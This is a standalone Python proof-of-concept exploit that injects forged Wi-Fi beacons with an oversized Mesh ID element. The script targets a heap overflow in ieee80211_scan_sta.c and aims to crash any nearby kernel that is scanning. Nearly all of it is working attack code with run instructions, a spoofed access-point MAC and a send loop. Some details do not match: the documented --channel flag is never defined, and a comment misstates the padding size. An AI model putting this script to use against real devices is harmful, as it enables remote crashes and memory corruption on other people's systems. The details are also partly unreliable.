#!/usr/bin/env python3
"""
DF-0393 PoC: Remote heap overflow via oversized Mesh ID IE in ieee80211_scan_sta.c

Sends a crafted 802.11 beacon with a Mesh ID IE whose length byte exceeds
IEEE80211_MESHID_LEN (32), triggering a memcpy overflow in sta_add() into
the fixed-size se_meshid[34] field, corrupting adjacent heap fields.

Requires:
  - A WiFi adapter in monitor + inject mode (e.g. ath9k_htc with airmon-ng)
  - scapy (pip install scapy)
  - Root privileges (for raw socket / injection)

Usage:
  sudo python3 poc.py --iface wlan0mon --channel 6

The victim interface must be scanning (background scan or active scan).
The beacon is sent on the victim's current channel.
"""

import argparse
import struct
import sys

try:
    from scapy.all import (
        RadioTap, Dot11, Dot11Beacon, Dot11Elt, sendp, conf
    )
except ImportError:
    print("This PoC requires scapy: pip install scapy", file=sys.stderr)
    sys.exit(1)

# IEEE80211_ELEMID_MESHID = 113 (0x71)
ELEMID_MESHID = 113
IEEE80211_MESHID_LEN = 32
OVERFLOW_LEN = 200  # meshid[1] = 200 -> copy 202 bytes into 34-byte field


def craft_overflow_beacon(src_mac, dst_mac="ff:ff:ff:ff:ff:ff", ssid="CVE"):
    """Build a beacon with an oversized Mesh ID IE to overflow se_meshid[34]."""
    # Valid fixed fields
    beacon = (
        RadioTap() /
        Dot11(type=0, subtype=8, addr1=dst_mac, addr2=src_mac, addr3=src_mac) /
        Dot11Beacon(cap=0x2104) /  # ESS + Privacy
        Dot11Elt(ID="SSID", info=ssid) /
        Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96") /
        Dot11Elt(ID="DSset", info=struct.pack("B", 6))
    )

    # Oversized Mesh ID IE: ELEMID=113, LEN=200, DATA=200 bytes of 'A'
    meshid_overflow = struct.pack("BB", ELEMID_MESHID, OVERFLOW_LEN) + b"A" * OVERFLOW_LEN
    beacon = beacon / Dot11Elt(ID=255, info=meshid_overflow)

    # Actually scapy's Dot11Elt doesn't handle arbitrary element IDs well.
    # Build it raw instead:
    raw_payload = beacon.getlayer(Dot11Beacon).payload

    # Rebuild: SSID + Rates + DSset + oversized MeshID
    ssid_ie = struct.pack("BB", 0, len(ssid)) + ssid.encode()
    rates_ie = struct.pack("BB", 1, 4) + b"\x82\x84\x8b\x96"
    ds_ie = struct.pack("BB", 3, 1) + struct.pack("B", 6)

    # The overflow payload: 'B' * 100 as pointer-like bytes in second half
    overflow_data = b"A" * 34 + b"B" * (OVERFLOW_LEN - 34)
    meshid_ie = struct.pack("BB", ELEMID_MESHID, OVERFLOW_LEN) + overflow_data

    raw_frame = (
        RadioTap() /
        Dot11(type=0, subtype=8, addr1=dst_mac, addr2=src_mac, addr3=src_mac) /
        Dot11Beacon(cap=0x2104)
    )
    # Append raw IEs
    raw_frame = bytes(raw_frame) + ssid_ie + rates_ie + ds_ie + meshid_ie

    return raw_frame


def main():
    parser = argparse.ArgumentParser(description="DF-0393 PoC: Mesh ID heap overflow")
    parser.add_argument("--iface", required=True, help="Monitor mode interface")
    parser.add_argument("--src-mac", default="00:11:22:33:44:55",
                        help="Source MAC (spoofed AP)")
    parser.add_argument("--count", type=int, default=100,
                        help="Number of beacons to send")
    parser.add_argument("--interval", type=float, default=0.01,
                        help="Seconds between beacons")
    args = parser.parse_args()

    print(f"[*] DF-0393: Mesh ID heap overflow PoC")
    print(f"[*] Interface: {args.iface}")
    print(f"[*] Overflow: {OVERFLOW_LEN} bytes into se_meshid[34]")
    print(f"[*] Sending {args.count} crafted beacons...")

    frame = craft_overflow_beacon(args.src_mac)

    conf.iface = args.iface
    for i in range(args.count):
        sendp(frame, iface=args.iface, verbose=0)
        if i % 10 == 0:
            print(f"  Sent {i+1}/{args.count} beacons")

    print(f"[+] Done. Victim kernel should panic if scanning on this channel.")


if __name__ == "__main__":
    main()
